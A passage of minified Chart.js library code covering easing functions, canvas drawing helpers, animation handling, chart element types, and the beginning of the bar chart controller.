0===t?0:1===t?1:(n||(n=.3),i<1?(i=1,e=n/4):e=n/(2*Math.PI)*Math.asin(1/i),-i*Math.pow(2,10*(t-=1))*Math.sin((t-e)*(2*Math.PI)/n))},easeOutElastic:function(t){var e=1.70158,n=0,i=1;return 0===t?0:1===t?1:(n||(n=.3),i<1?(i=1,e=n/4):e=n/(2*Math.PI)*Math.asin(1/i),i*Math.pow(2,-10*t)*Math.sin((t-e)*(2*Math.PI)/n)+1)},easeInOutElastic:function(t){var e=1.70158,n=0,i=1;return 0===t?0:2==(t/=.5)?1:(n||(n=.45),i<1?(i=1,e=n/4):e=n/(2*Math.PI)*Math.asin(1/i),t<1?i*Math.pow(2,10*(t-=1))*Math.sin((t-e)*(2*Math.PI)/n)*-.5:i*Math.pow(2,-10*(t-=1))*Math.sin((t-e)*(2*Math.PI)/n)*.5+1)},easeInBack:function(t){var e=1.70158;return t*t*((e+1)*t-e)},easeOutBack:function(t){var e=1.70158;return(t-=1)*t*((e+1)*t+e)+1},easeInOutBack:function(t){var e=1.70158;return(t/=.5)<1?t*t*((1+(e*=1.525))*t-e)*.5:.5*((t-=2)*t*((1+(e*=1.525))*t+e)+2)},easeInBounce:function(t){return 1-C.easeOutBounce(1-t)},easeOutBounce:function(t){return t<1/2.75?7.5625*t*t:t<2/2.75?7.5625*(t-=1.5/2.75)*t+.75:t<2.5/2.75?7.5625*(t-=2.25/2.75)*t+.9375:7.5625*(t-=2.625/2.75)*t+.984375},easeInOutBounce:function(t){return t<.5?.5*C.easeInBounce(2*t):.5*C.easeOutBounce(2*t-1)+.5}},P={effects:C};S.easingEffects=C;var A=Math.PI,D=A/180,T=2*A,I=A/2,F=A/4,O=2*A/3,L={clear:function(t){t.ctx.clearRect(0,0,t.width,t.height)},roundedRect:function(t,e,n,i,a,r){if(r){var o=Math.min(r,a/2,i/2),s=e+o,l=n+o,u=e+i-o,d=n+a-o;t.moveTo(e,l),s<u&&l<d?(t.arc(s,l,o,-A,-I),t.arc(u,l,o,-I,0),t.arc(u,d,o,0,I),t.arc(s,d,o,I,A)):s<u?(t.moveTo(s,n),t.arc(u,l,o,-I,I),t.arc(s,l,o,I,A+I)):l<d?(t.arc(s,l,o,-A,0),t.arc(s,d,o,0,A)):t.arc(s,l,o,-A,A),t.closePath(),t.moveTo(e,n)}else t.rect(e,n,i,a)},drawPoint:function(t,e,n,i,a,r){var o,s,l,u,d,h=(r||0)*D;if(e&&"object"==typeof e&&("[object HTMLImageElement]"===(o=e.toString())||"[object HTMLCanvasElement]"===o))return t.save(),t.translate(i,a),t.rotate(h),t.drawImage(e,-e.width/2,-e.height/2,e.width,e.height),void t.restore();if(!(isNaN(n)||n<=0)){switch(t.beginPath(),e){default:t.arc(i,a,n,0,T),t.closePath();break;case"triangle":t.moveTo(i+Math.sin(h)*n,a-Math.cos(h)*n),h+=O,t.lineTo(i+Math.sin(h)*n,a-Math.cos(h)*n),h+=O,t.lineTo(i+Math.sin(h)*n,a-Math.cos(h)*n),t.closePath();break;case"rectRounded":u=n-(d=.516*n),s=Math.cos(h+F)*u,l=Math.sin(h+F)*u,t.arc(i-s,a-l,d,h-A,h-I),t.arc(i+l,a-s,d,h-I,h),t.arc(i+s,a+l,d,h,h+I),t.arc(i-l,a+s,d,h+I,h+A),t.closePath();break;case"rect":if(!r){u=Math.SQRT1_2*n,t.rect(i-u,a-u,2*u,2*u);break}h+=F;case"rectRot":s=Math.cos(h)*n,l=Math.sin(h)*n,t.moveTo(i-s,a-l),t.lineTo(i+l,a-s),t.lineTo(i+s,a+l),t.lineTo(i-l,a+s),t.closePath();break;case"crossRot":h+=F;case"cross":s=Math.cos(h)*n,l=Math.sin(h)*n,t.moveTo(i-s,a-l),t.lineTo(i+s,a+l),t.moveTo(i+l,a-s),t.lineTo(i-l,a+s);break;case"star":s=Math.cos(h)*n,l=Math.sin(h)*n,t.moveTo(i-s,a-l),t.lineTo(i+s,a+l),t.moveTo(i+l,a-s),t.lineTo(i-l,a+s),h+=F,s=Math.cos(h)*n,l=Math.sin(h)*n,t.moveTo(i-s,a-l),t.lineTo(i+s,a+l),t.moveTo(i+l,a-s),t.lineTo(i-l,a+s);break;case"line":s=Math.cos(h)*n,l=Math.sin(h)*n,t.moveTo(i-s,a-l),t.lineTo(i+s,a+l);break;case"dash":t.moveTo(i,a),t.lineTo(i+Math.cos(h)*n,a+Math.sin(h)*n)}t.fill(),t.stroke()}},_isPointInArea:function(t,e){return t.x>e.left-1e-6&&t.x<e.right+1e-6&&t.y>e.top-1e-6&&t.y<e.bottom+1e-6},clipArea:function(t,e){t.save(),t.beginPath(),t.rect(e.left,e.top,e.right-e.left,e.bottom-e.top),t.clip()},unclipArea:function(t){t.restore()},lineTo:function(t,e,n,i){var a=n.steppedLine;if(a){if("middle"===a){var r=(e.x+n.x)/2;t.lineTo(r,i?n.y:e.y),t.lineTo(r,i?e.y:n.y)}else"after"===a&&!i||"after"!==a&&i?t.lineTo(e.x,n.y):t.lineTo(n.x,e.y);t.lineTo(n.x,n.y)}else n.tension?t.bezierCurveTo(i?e.controlPointPreviousX:e.controlPointNextX,i?e.controlPointPreviousY:e.controlPointNextY,i?n.controlPointNextX:n.controlPointPreviousX,i?n.controlPointNextY:n.controlPointPreviousY,n.x,n.y):t.lineTo(n.x,n.y)}},R=L;S.clear=L.clear,S.drawRoundedRectangle=function(t){t.beginPath(),L.roundedRect.apply(L,arguments)};var z={_set:function(t,e){return S.merge(this[t]||(this[t]={}),e)}};z._set("global",{defaultColor:"rgba(0,0,0,0.1)",defaultFontColor:"#666",defaultFontFamily:"'Helvetica Neue', 'Helvetica', 'Arial', sans-serif",defaultFontSize:12,defaultFontStyle:"normal",defaultLineHeight:1.2,showLines:!0});var N=z,B=S.valueOrDefault,E={toLineHeight:function(t,e){var n=(""+t).match(/^(normal|(\d+(?:\.\d+)?)(px|em|%)?)$/);if(!n||"normal"===n[1])return 1.2*e;switch(t=+n[2],n[3]){case"px":return t;case"%":t/=100}return e*t},toPadding:function(t){var e,n,i,a;return S.isObject(t)?(e=+t.top||0,n=+t.right||0,i=+t.bottom||0,a=+t.left||0):e=n=i=a=+t||0,{top:e,right:n,bottom:i,left:a,height:e+i,width:a+n}},_parseFont:function(t){var e=N.global,n=B(t.fontSize,e.defaultFontSize),i={family:B(t.fontFamily,e.defaultFontFamily),lineHeight:S.options.toLineHeight(B(t.lineHeight,e.defaultLineHeight),n),size:n,style:B(t.fontStyle,e.defaultFontStyle),weight:null,string:""};return i.string=function(t){return!t||S.isNullOrUndef(t.size)||S.isNullOrUndef(t.family)?null:(t.style?t.style+" ":"")+(t.weight?t.weight+" ":"")+t.size+"px "+t.family}(i),i},resolve:function(t,e,n,i){var a,r,o,s=!0;for(a=0,r=t.length;a<r;++a)if(void 0!==(o=t[a])&&(void 0!==e&&"function"==typeof o&&(o=o(e),s=!1),void 0!==n&&S.isArray(o)&&(o=o[n],s=!1),void 0!==o))return i&&!s&&(i.cacheable=!1),o}},W={_factorize:function(t){var e,n=[],i=Math.sqrt(t);for(e=1;e<i;e++)t%e==0&&(n.push(e),n.push(t/e));return i===(0|i)&&n.push(i),n.sort((function(t,e){return t-e})).pop(),n},log10:Math.log10||function(t){var e=Math.log(t)*Math.LOG10E,n=Math.round(e);return t===Math.pow(10,n)?n:e}},V=W;S.log10=W.log10;var H=S,j=P,q=R,U=E,Y=V;H.easing=j,H.canvas=q,H.options=U,H.math=Y,H.rtl={getRtlAdapter:function(t,e,n){return t?function(t,e){return{x:function(n){return t+t+e-n},setWidth:function(t){e=t},textAlign:function(t){return"center"===t?t:"right"===t?"left":"right"},xPlus:function(t,e){return t-e},leftForLtr:function(t,e){return t-e}}}(e,n):{x:function(t){return t},setWidth:function(t){},textAlign:function(t){return t},xPlus:function(t,e){return t+e},leftForLtr:function(t,e){return t}}},overrideTextDirection:function(t,e){var n,i;"ltr"!==e&&"rtl"!==e||(i=[(n=t.canvas.style).getPropertyValue("direction"),n.getPropertyPriority("direction")],n.setProperty("direction",e,"important"),t.prevTextDirection=i)},restoreTextDirection:function(t){var e=t.prevTextDirection;void 0!==e&&(delete t.prevTextDirection,t.canvas.style.setProperty("direction",e[0],e[1]))}};var G=function(t){H.extend(this,t),this.initialize.apply(this,arguments)};H.extend(G.prototype,{_type:void 0,initialize:function(){this.hidden=!1},pivot:function(){var t=this;return t._view||(t._view=H.extend({},t._model)),t._start={},t},transition:function(t){var e=this,n=e._model,i=e._start,a=e._view;return n&&1!==t?(a||(a=e._view={}),i||(i=e._start={}),function(t,e,n,i){var a,r,o,s,l,u,d,h,c,f=Object.keys(n);for(a=0,r=f.length;a<r;++a)if(u=n[o=f[a]],e.hasOwnProperty(o)||(e[o]=u),(s=e[o])!==u&&"_"!==o[0]){if(t.hasOwnProperty(o)||(t[o]=s),(d=typeof u)==typeof(l=t[o]))if("string"===d){if((h=_(l)).valid&&(c=_(u)).valid){e[o]=c.mix(h,i).rgbString();continue}}else if(H.isFinite(l)&&H.isFinite(u)){e[o]=l+(u-l)*i;continue}e[o]=u}}(i,a,n,t),e):(e._view=H.extend({},n),e._start=null,e)},tooltipPosition:function(){return{x:this._model.x,y:this._model.y}},hasValue:function(){return H.isNumber(this._model.x)&&H.isNumber(this._model.y)}}),G.extend=H.inherits;var X=G,K=X.extend({chart:null,currentStep:0,numSteps:60,easing:"",render:null,onAnimationProgress:null,onAnimationComplete:null}),Z=K;Object.defineProperty(K.prototype,"animationObject",{get:function(){return this}}),Object.defineProperty(K.prototype,"chartInstance",{get:function(){return this.chart},set:function(t){this.chart=t}}),N._set("global",{animation:{duration:1e3,easing:"easeOutQuart",onProgress:H.noop,onComplete:H.noop}});var $={animations:[],request:null,addAnimation:function(t,e,n,i){var a,r,o=this.animations;for(e.chart=t,e.startTime=Date.now(),e.duration=n,i||(t.animating=!0),a=0,r=o.length;a<r;++a)if(o[a].chart===t)return void(o[a]=e);o.push(e),1===o.length&&this.requestAnimationFrame()},cancelAnimation:function(t){var e=H.findIndex(this.animations,(function(e){return e.chart===t}));-1!==e&&(this.animations.splice(e,1),t.animating=!1)},requestAnimationFrame:function(){var t=this;null===t.request&&(t.request=H.requestAnimFrame.call(window,(function(){t.request=null,t.startDigest()})))},startDigest:function(){this.advance(),this.animations.length>0&&this.requestAnimationFrame()},advance:function(){for(var t,e,n,i,a=this.animations,r=0;r<a.length;)e=(t=a[r]).chart,n=t.numSteps,i=Math.floor((Date.now()-t.startTime)/t.duration*n)+1,t.currentStep=Math.min(i,n),H.callback(t.render,[e,t],e),H.callback(t.onAnimationProgress,[t],e),t.currentStep>=n?(H.callback(t.onAnimationComplete,[t],e),e.animating=!1,a.splice(r,1)):++r}},J=H.options.resolve,Q=["push","pop","shift","splice","unshift"];function tt(t,e){var n=t._chartjs;if(n){var i=n.listeners,a=i.indexOf(e);-1!==a&&i.splice(a,1),i.length>0||(Q.forEach((function(e){delete t[e]})),delete t._chartjs)}}var et=function(t,e){this.initialize(t,e)};H.extend(et.prototype,{datasetElementType:null,dataElementType:null,_datasetElementOptions:["backgroundColor","borderCapStyle","borderColor","borderDash","borderDashOffset","borderJoinStyle","borderWidth"],_dataElementOptions:["backgroundColor","borderColor","borderWidth","pointStyle"],initialize:function(t,e){var n=this;n.chart=t,n.index=e,n.linkScales(),n.addElements(),n._type=n.getMeta().type},updateIndex:function(t){this.index=t},linkScales:function(){var t=this.getMeta(),e=this.chart,n=e.scales,i=this.getDataset(),a=e.options.scales;null!==t.xAxisID&&t.xAxisID in n&&!i.xAxisID||(t.xAxisID=i.xAxisID||a.xAxes[0].id),null!==t.yAxisID&&t.yAxisID in n&&!i.yAxisID||(t.yAxisID=i.yAxisID||a.yAxes[0].id)},getDataset:function(){return this.chart.data.datasets[this.index]},getMeta:function(){return this.chart.getDatasetMeta(this.index)},getScaleForId:function(t){return this.chart.scales[t]},_getValueScaleId:function(){return this.getMeta().yAxisID},_getIndexScaleId:function(){return this.getMeta().xAxisID},_getValueScale:function(){return this.getScaleForId(this._getValueScaleId())},_getIndexScale:function(){return this.getScaleForId(this._getIndexScaleId())},reset:function(){this._update(!0)},destroy:function(){this._data&&tt(this._data,this)},createMetaDataset:function(){var t=this.datasetElementType;return t&&new t({_chart:this.chart,_datasetIndex:this.index})},createMetaData:function(t){var e=this.dataElementType;return e&&new e({_chart:this.chart,_datasetIndex:this.index,_index:t})},addElements:function(){var t,e,n=this.getMeta(),i=this.getDataset().data||[],a=n.data;for(t=0,e=i.length;t<e;++t)a[t]=a[t]||this.createMetaData(t);n.dataset=n.dataset||this.createMetaDataset()},addElementAndReset:function(t){var e=this.createMetaData(t);this.getMeta().data.splice(t,0,e),this.updateElement(e,t,!0)},buildOrUpdateElements:function(){var t,e,n=this,i=n.getDataset(),a=i.data||(i.data=[]);n._data!==a&&(n._data&&tt(n._data,n),a&&Object.isExtensible(a)&&(e=n,(t=a)._chartjs?t._chartjs.listeners.push(e):(Object.defineProperty(t,"_chartjs",{configurable:!0,enumerable:!1,value:{listeners:[e]}}),Q.forEach((function(e){var n="onData"+e.charAt(0).toUpperCase()+e.slice(1),i=t[e];Object.defineProperty(t,e,{configurable:!0,enumerable:!1,value:function(){var e=Array.prototype.slice.call(arguments),a=i.apply(this,e);return H.each(t._chartjs.listeners,(function(t){"function"==typeof t[n]&&t[n].apply(t,e)})),a}})})))),n._data=a),n.resyncElements()},_configure:function(){this._config=H.merge(Object.create(null),[this.chart.options.datasets[this._type],this.getDataset()],{merger:function(t,e,n){"_meta"!==t&&"data"!==t&&H._merger(t,e,n)}})},_update:function(t){this._configure(),this._cachedDataOpts=null,this.update(t)},update:H.noop,transition:function(t){for(var e=this.getMeta(),n=e.data||[],i=n.length,a=0;a<i;++a)n[a].transition(t);e.dataset&&e.dataset.transition(t)},draw:function(){var t=this.getMeta(),e=t.data||[],n=e.length,i=0;for(t.dataset&&t.dataset.draw();i<n;++i)e[i].draw()},getStyle:function(t){var e,n=this.getMeta(),i=n.dataset;return this._configure(),i&&void 0===t?e=this._resolveDatasetElementOptions(i||{}):(t=t||0,e=this._resolveDataElementOptions(n.data[t]||{},t)),!1!==e.fill&&null!==e.fill||(e.backgroundColor=e.borderColor),e},_resolveDatasetElementOptions:function(t,e){var n,i,a,r,o=this,s=o.chart,l=o._config,u=t.custom||{},d=s.options.elements[o.datasetElementType.prototype._type]||{},h=o._datasetElementOptions,c={},f={chart:s,dataset:o.getDataset(),datasetIndex:o.index,hover:e};for(n=0,i=h.length;n<i;++n)a=h[n],r=e?"hover"+a.charAt(0).toUpperCase()+a.slice(1):a,c[a]=J([u[r],l[r],d[r]],f);return c},_resolveDataElementOptions:function(t,e){var n=this,i=t&&t.custom,a=n._cachedDataOpts;if(a&&!i)return a;var r,o,s,l,u=n.chart,d=n._config,h=u.options.elements[n.dataElementType.prototype._type]||{},c=n._dataElementOptions,f={},g={chart:u,dataIndex:e,dataset:n.getDataset(),datasetIndex:n.index},p={cacheable:!i};if(i=i||{},H.isArray(c))for(o=0,s=c.length;o<s;++o)f[l=c[o]]=J([i[l],d[l],h[l]],g,e,p);else for(o=0,s=(r=Object.keys(c)).length;o<s;++o)f[l=r[o]]=J([i[l],d[c[l]],d[l],h[l]],g,e,p);return p.cacheable&&(n._cachedDataOpts=Object.freeze(f)),f},removeHoverStyle:function(t){H.merge(t._model,t.$previousStyle||{}),delete t.$previousStyle},setHoverStyle:function(t){var e=this.chart.data.datasets[t._datasetIndex],n=t._index,i=t.custom||{},a=t._model,r=H.getHoverColor;t.$previousStyle={backgroundColor:a.backgroundColor,borderColor:a.borderColor,borderWidth:a.borderWidth},a.backgroundColor=J([i.hoverBackgroundColor,e.hoverBackgroundColor,r(a.backgroundColor)],void 0,n),a.borderColor=J([i.hoverBorderColor,e.hoverBorderColor,r(a.borderColor)],void 0,n),a.borderWidth=J([i.hoverBorderWidth,e.hoverBorderWidth,a.borderWidth],void 0,n)},_removeDatasetHoverStyle:function(){var t=this.getMeta().dataset;t&&this.removeHoverStyle(t)},_setDatasetHoverStyle:function(){var t,e,n,i,a,r,o=this.getMeta().dataset,s={};if(o){for(r=o._model,a=this._resolveDatasetElementOptions(o,!0),t=0,e=(i=Object.keys(a)).length;t<e;++t)s[n=i[t]]=r[n],r[n]=a[n];o.$previousStyle=s}},resyncElements:function(){var t=this.getMeta(),e=this.getDataset().data,n=t.data.length,i=e.length;i<n?t.data.splice(i,n-i):i>n&&this.insertElements(n,i-n)},insertElements:function(t,e){for(var n=0;n<e;++n)this.addElementAndReset(t+n)},onDataPush:function(){var t=arguments.length;this.insertElements(this.getDataset().data.length-t,t)},onDataPop:function(){this.getMeta().data.pop()},onDataShift:function(){this.getMeta().data.shift()},onDataSplice:function(t,e){this.getMeta().data.splice(t,e),this.insertElements(t,arguments.length-2)},onDataUnshift:function(){this.insertElements(0,arguments.length)}}),et.extend=H.inherits;var nt=et,it=2*Math.PI;function at(t,e){var n=e.startAngle,i=e.endAngle,a=e.pixelMargin,r=a/e.outerRadius,o=e.x,s=e.y;t.beginPath(),t.arc(o,s,e.outerRadius,n-r,i+r),e.innerRadius>a?(r=a/e.innerRadius,t.arc(o,s,e.innerRadius-a,i+r,n-r,!0)):t.arc(o,s,a,i+Math.PI/2,n-Math.PI/2),t.closePath(),t.clip()}N._set("global",{elements:{arc:{backgroundColor:N.global.defaultColor,borderColor:"#fff",borderWidth:2,borderAlign:"center"}}});var rt=X.extend({_type:"arc",inLabelRange:function(t){var e=this._view;return!!e&&Math.pow(t-e.x,2)<Math.pow(e.radius+e.hoverRadius,2)},inRange:function(t,e){var n=this._view;if(n){for(var i=H.getAngleFromPoint(n,{x:t,y:e}),a=i.angle,r=i.distance,o=n.startAngle,s=n.endAngle;s<o;)s+=it;for(;a>s;)a-=it;for(;a<o;)a+=it;var l=a>=o&&a<=s,u=r>=n.innerRadius&&r<=n.outerRadius;return l&&u}return!1},getCenterPoint:function(){var t=this._view,e=(t.startAngle+t.endAngle)/2,n=(t.innerRadius+t.outerRadius)/2;return{x:t.x+Math.cos(e)*n,y:t.y+Math.sin(e)*n}},getArea:function(){var t=this._view;return Math.PI*((t.endAngle-t.startAngle)/(2*Math.PI))*(Math.pow(t.outerRadius,2)-Math.pow(t.innerRadius,2))},tooltipPosition:function(){var t=this._view,e=t.startAngle+(t.endAngle-t.startAngle)/2,n=(t.outerRadius-t.innerRadius)/2+t.innerRadius;return{x:t.x+Math.cos(e)*n,y:t.y+Math.sin(e)*n}},draw:function(){var t,e=this._chart.ctx,n=this._view,i="inner"===n.borderAlign?.33:0,a={x:n.x,y:n.y,innerRadius:n.innerRadius,outerRadius:Math.max(n.outerRadius-i,0),pixelMargin:i,startAngle:n.startAngle,endAngle:n.endAngle,fullCircles:Math.floor(n.circumference/it)};if(e.save(),e.fillStyle=n.backgroundColor,e.strokeStyle=n.borderColor,a.fullCircles){for(a.endAngle=a.startAngle+it,e.beginPath(),e.arc(a.x,a.y,a.outerRadius,a.startAngle,a.endAngle),e.arc(a.x,a.y,a.innerRadius,a.endAngle,a.startAngle,!0),e.closePath(),t=0;t<a.fullCircles;++t)e.fill();a.endAngle=a.startAngle+n.circumference%it}e.beginPath(),e.arc(a.x,a.y,a.outerRadius,a.startAngle,a.endAngle),e.arc(a.x,a.y,a.innerRadius,a.endAngle,a.startAngle,!0),e.closePath(),e.fill(),n.borderWidth&&function(t,e,n){var i="inner"===e.borderAlign;i?(t.lineWidth=2*e.borderWidth,t.lineJoin="round"):(t.lineWidth=e.borderWidth,t.lineJoin="bevel"),n.fullCircles&&function(t,e,n,i){var a,r=n.endAngle;for(i&&(n.endAngle=n.startAngle+it,at(t,n),n.endAngle=r,n.endAngle===n.startAngle&&n.fullCircles&&(n.endAngle+=it,n.fullCircles--)),t.beginPath(),t.arc(n.x,n.y,n.innerRadius,n.startAngle+it,n.startAngle,!0),a=0;a<n.fullCircles;++a)t.stroke();for(t.beginPath(),t.arc(n.x,n.y,e.outerRadius,n.startAngle,n.startAngle+it),a=0;a<n.fullCircles;++a)t.stroke()}(t,e,n,i),i&&at(t,n),t.beginPath(),t.arc(n.x,n.y,e.outerRadius,n.startAngle,n.endAngle),t.arc(n.x,n.y,n.innerRadius,n.endAngle,n.startAngle,!0),t.closePath(),t.stroke()}(e,n,a),e.restore()}}),ot=H.valueOrDefault,st=N.global.defaultColor;N._set("global",{elements:{line:{tension:.4,backgroundColor:st,borderWidth:3,borderColor:st,borderCapStyle:"butt",borderDash:[],borderDashOffset:0,borderJoinStyle:"miter",capBezierPoints:!0,fill:!0}}});var lt=X.extend({_type:"line",draw:function(){var t,e,n,i=this,a=i._view,r=i._chart.ctx,o=a.spanGaps,s=i._children.slice(),l=N.global,u=l.elements.line,d=-1,h=i._loop;if(s.length){if(i._loop){for(t=0;t<s.length;++t)if(e=H.previousItem(s,t),!s[t]._view.skip&&e._view.skip){s=s.slice(t).concat(s.slice(0,t)),h=o;break}h&&s.push(s[0])}for(r.save(),r.lineCap=a.borderCapStyle||u.borderCapStyle,r.setLineDash&&r.setLineDash(a.borderDash||u.borderDash),r.lineDashOffset=ot(a.borderDashOffset,u.borderDashOffset),r.lineJoin=a.borderJoinStyle||u.borderJoinStyle,r.lineWidth=ot(a.borderWidth,u.borderWidth),r.strokeStyle=a.borderColor||l.defaultColor,r.beginPath(),(n=s[0]._view).skip||(r.moveTo(n.x,n.y),d=0),t=1;t<s.length;++t)n=s[t]._view,e=-1===d?H.previousItem(s,t):s[d],n.skip||(d!==t-1&&!o||-1===d?r.moveTo(n.x,n.y):H.canvas.lineTo(r,e._view,n),d=t);h&&r.closePath(),r.stroke(),r.restore()}}}),ut=H.valueOrDefault,dt=N.global.defaultColor;function ht(t){var e=this._view;return!!e&&Math.abs(t-e.x)<e.radius+e.hitRadius}N._set("global",{elements:{point:{radius:3,pointStyle:"circle",backgroundColor:dt,borderColor:dt,borderWidth:1,hitRadius:1,hoverRadius:4,hoverBorderWidth:1}}});var ct=X.extend({_type:"point",inRange:function(t,e){var n=this._view;return!!n&&Math.pow(t-n.x,2)+Math.pow(e-n.y,2)<Math.pow(n.hitRadius+n.radius,2)},inLabelRange:ht,inXRange:ht,inYRange:function(t){var e=this._view;return!!e&&Math.abs(t-e.y)<e.radius+e.hitRadius},getCenterPoint:function(){var t=this._view;return{x:t.x,y:t.y}},getArea:function(){return Math.PI*Math.pow(this._view.radius,2)},tooltipPosition:function(){var t=this._view;return{x:t.x,y:t.y,padding:t.radius+t.borderWidth}},draw:function(t){var e=this._view,n=this._chart.ctx,i=e.pointStyle,a=e.rotation,r=e.radius,o=e.x,s=e.y,l=N.global,u=l.defaultColor;e.skip||(void 0===t||H.canvas._isPointInArea(e,t))&&(n.strokeStyle=e.borderColor||u,n.lineWidth=ut(e.borderWidth,l.elements.point.borderWidth),n.fillStyle=e.backgroundColor||u,H.canvas.drawPoint(n,i,r,o,s,a))}}),ft=N.global.defaultColor;function gt(t){return t&&void 0!==t.width}function pt(t){var e,n,i,a,r;return gt(t)?(r=t.width/2,e=t.x-r,n=t.x+r,i=Math.min(t.y,t.base),a=Math.max(t.y,t.base)):(r=t.height/2,e=Math.min(t.x,t.base),n=Math.max(t.x,t.base),i=t.y-r,a=t.y+r),{left:e,top:i,right:n,bottom:a}}function mt(t,e,n){return t===e?n:t===n?e:t}function vt(t,e,n){var i=null===e,a=null===n,r=!(!t||i&&a)&&pt(t);return r&&(i||e>=r.left&&e<=r.right)&&(a||n>=r.top&&n<=r.bottom)}N._set("global",{elements:{rectangle:{backgroundColor:ft,borderColor:ft,borderSkipped:"bottom",borderWidth:0}}});var bt=X.extend({_type:"rectangle",draw:function(){var t=this._chart.ctx,e=this._view,n=function(t){var e=pt(t),n=e.right-e.left,i=e.bottom-e.top,a=function(t,e,n){var i,a,r,o,s=t.borderWidth,l=function(t){var e=t.borderSkipped,n={};return e?(t.horizontal?t.base>t.x&&(e=mt(e,"left","right")):t.base<t.y&&(e=mt(e,"bottom","top")),n[e]=!0,n):n}(t);return H.isObject(s)?(i=+s.top||0,a=+s.right||0,r=+s.bottom||0,o=+s.left||0):i=a=r=o=+s||0,{t:l.top||i<0?0:i>n?n:i,r:l.right||a<0?0:a>e?e:a,b:l.bottom||r<0?0:r>n?n:r,l:l.left||o<0?0:o>e?e:o}}(t,n/2,i/2);return{outer:{x:e.left,y:e.top,w:n,h:i},inner:{x:e.left+a.l,y:e.top+a.t,w:n-a.l-a.r,h:i-a.t-a.b}}}(e),i=n.outer,a=n.inner;t.fillStyle=e.backgroundColor,t.fillRect(i.x,i.y,i.w,i.h),i.w===a.w&&i.h===a.h||(t.save(),t.beginPath(),t.rect(i.x,i.y,i.w,i.h),t.clip(),t.fillStyle=e.borderColor,t.rect(a.x,a.y,a.w,a.h),t.fill("evenodd"),t.restore())},height:function(){var t=this._view;return t.base-t.y},inRange:function(t,e){return vt(this._view,t,e)},inLabelRange:function(t,e){var n=this._view;return gt(n)?vt(n,t,null):vt(n,null,e)},inXRange:function(t){return vt(this._view,t,null)},inYRange:function(t){return vt(this._view,null,t)},getCenterPoint:function(){var t,e,n=this._view;return gt(n)?(t=n.x,e=(n.y+n.base)/2):(t=(n.x+n.base)/2,e=n.y),{x:t,y:e}},getArea:function(){var t=this._view;return gt(t)?t.width*Math.abs(t.y-t.base):t.height*Math.abs(t.x-t.base)},tooltipPosition:function(){var t=this._view;return{x:t.x,y:t.y}}}),xt={},yt=rt,_t=lt,kt=ct,wt=bt;xt.Arc=yt,xt.Line=_t,xt.Point=kt,xt.Rectangle=wt;var Mt=H._deprecated,St=H.valueOrDefault;N._set("bar",{hover:{mode:"label"},scales:{xAxes:[{type:"category",offset:!0,gridLines:{offsetGridLines:!0}}],yAxes:[{type:"linear"}]}}),N._set("global",{datasets:{bar:{categoryPercentage:.8,barPercentage:.9}}});var Ct=nt.extend({dataElementType:xt.Rectangle,_dataElementOptions:["backgroundColor","borderColor","borderSkipped","borderWidth","barPercentage","barThickness","categoryPercentage","maxBarThickness","minBarLength"],initialize:function(){var t,e,n=this;nt.prototype.initialize.apply(n,arguments),(t=n.getMeta()).stack=n.getDataset().stack,t.bar=!0,e=n._getIndexScale().options,Mt("bar chart",e.barPercentage,"scales.[x/y]Axes.barPercentage","dataset.barPercentage"),Mt("bar chart",e.barThickness,"scales.[x/y]Axes.barThickness","dataset.barThickness"),Mt("bar chart",e.categoryPercentage,"scales.[x/y]Axes.categoryPercentage","dataset.categoryPercentage"),Mt("bar chart",n._getValueScale().options.minBarLength,"scales.[x/y]Axes.minBarLength","dataset.minBarLength"),Mt("bar chart",e.maxBarThickness,"scales.[x/y]Axes.maxBarThickness","dataset.maxBarThickness")},update:function(t){var e,n,i=this.getMeta().data;for(this._ruler=this.getRuler(),e=0,n=i.length;e<n;++e)this.updateElement(i[e],e,t)},updateElement:function(t,e,n){var i=this,a=i.getMeta(),r=i.getDataset(),o=i._resolveDataElementOptions(t,e);t._xScale=i.getScaleForId(a.xAxisID),t._yScale=i.getScaleForId(a.yAxisID),t._datasetIndex=i.index,t._index=e,t._model={backgroundColor:o.backgroundColor,borderColor:o.borderColor,borderSkipped:o.borderSkipped,borderWidth:o.borderWidth,datasetLabel:r.label,label:i.chart.data.labels[e]},H.isArray(r.data[e])&&(t._model.borderSkipped=null),i._updateElementGeometry(t,e,n,o),t.pivot()},_updateElementGeometry:function(t,e,n,i){var a=this,r=t._model,o=a._getValueScale(),s=o.getBasePixel(),l=o.isHorizontal(),u=a._ruler||a.getRuler(),d=a.calculateBarValuePixels(a.index,e,i),h=a.calculateBarIndexPixels(a.index,e,u,i);r.horizontal=l,r.base=n?s:d.base,r.x=l?n?s:d.head:h.center,r.y=l?h.center:n?s:d.head,r.height=l?h.size:void 0,r.width=l?void 0:h.size},_getStacks:function(t){var e,n,i=this._getIndexScale(),a=i._getMatchingVisibleMetas(this._type),r=i.options.stacked,o=a.length,s=[];for(e=0;e<o&&(n=a[e],(!1===r||-1===s.indexOf(n.stack)||void 0===r&&void 0===n.stack)&&s.push(n.stack),n.index!==t);++e);return s},getStackCount:function(){return this._getStacks().length},getStackIndex:function(t,e){var n=this._getStacks(t),i=void 0!==e?n.indexOf(e):-1;return-1===i?n.length-1:i},getRuler:function(){var t,e,n=this._getIndexScale(),i=[];for(t=0,e=this.getMeta().data.length;t<e;++t)i.push(n.getPixelForValue(null,t,this.index));return{pixels:i,start:n._startPixel,end:n._endPixel,stackCount:this.getStackCount(),scale:n}},calculateBarValuePixels:function(t,e,n){var i,a,r,o,s,l,u,d=this.chart,h=this._getValueScale(),c=h.isHorizontal(),f=d.data.datasets,g=h._getMatchingVisibleMetas(this._type),p=h._parseValue(f[t].data[e]),m=n.minBarLength,v=h.options.stacked,b=this.getMeta().stack,x=void 0===p.start?0:p.max>=0&&p.min>=0?p.min:p.max,y=void 0===p.start?p.end:p.max>=0&&p.min>=0?p.max-p.min:p.min-p.max,_=g.length;if(v||void 0===v&&void 0!==b)for(i=0;i<_&&(a=g[i]).index!==t;++i)a.stack===b&&(r=void 0===(u=h._parseValue(f[a.index].data[e])).start?u.end:u.min>=0&&u.max>=0?u.max:u.min,(p.min<0&&r<0||p.max>=0&&r>0)&&(x+=r));return o=h.getPixelForValue(x),l=(s=h.getPixelForValue(x+y))-o,void 0!==m&&Math.abs(l)<m&&(l=m,s=y>=0&&!c||y<0&&c?o-m:o+m),{size:l,base:o,head:s,center:s+l/2}},calculateBarIndexPixels:function(t,e,n,i){var a="flex"===i.barThickness?function(t,e,n){var i,a=e.pixels,r=a[t],o=t>0?a[t-1]:null,s=t<a.length-1?a[t+1]:null,l=n.categoryPercentage;return 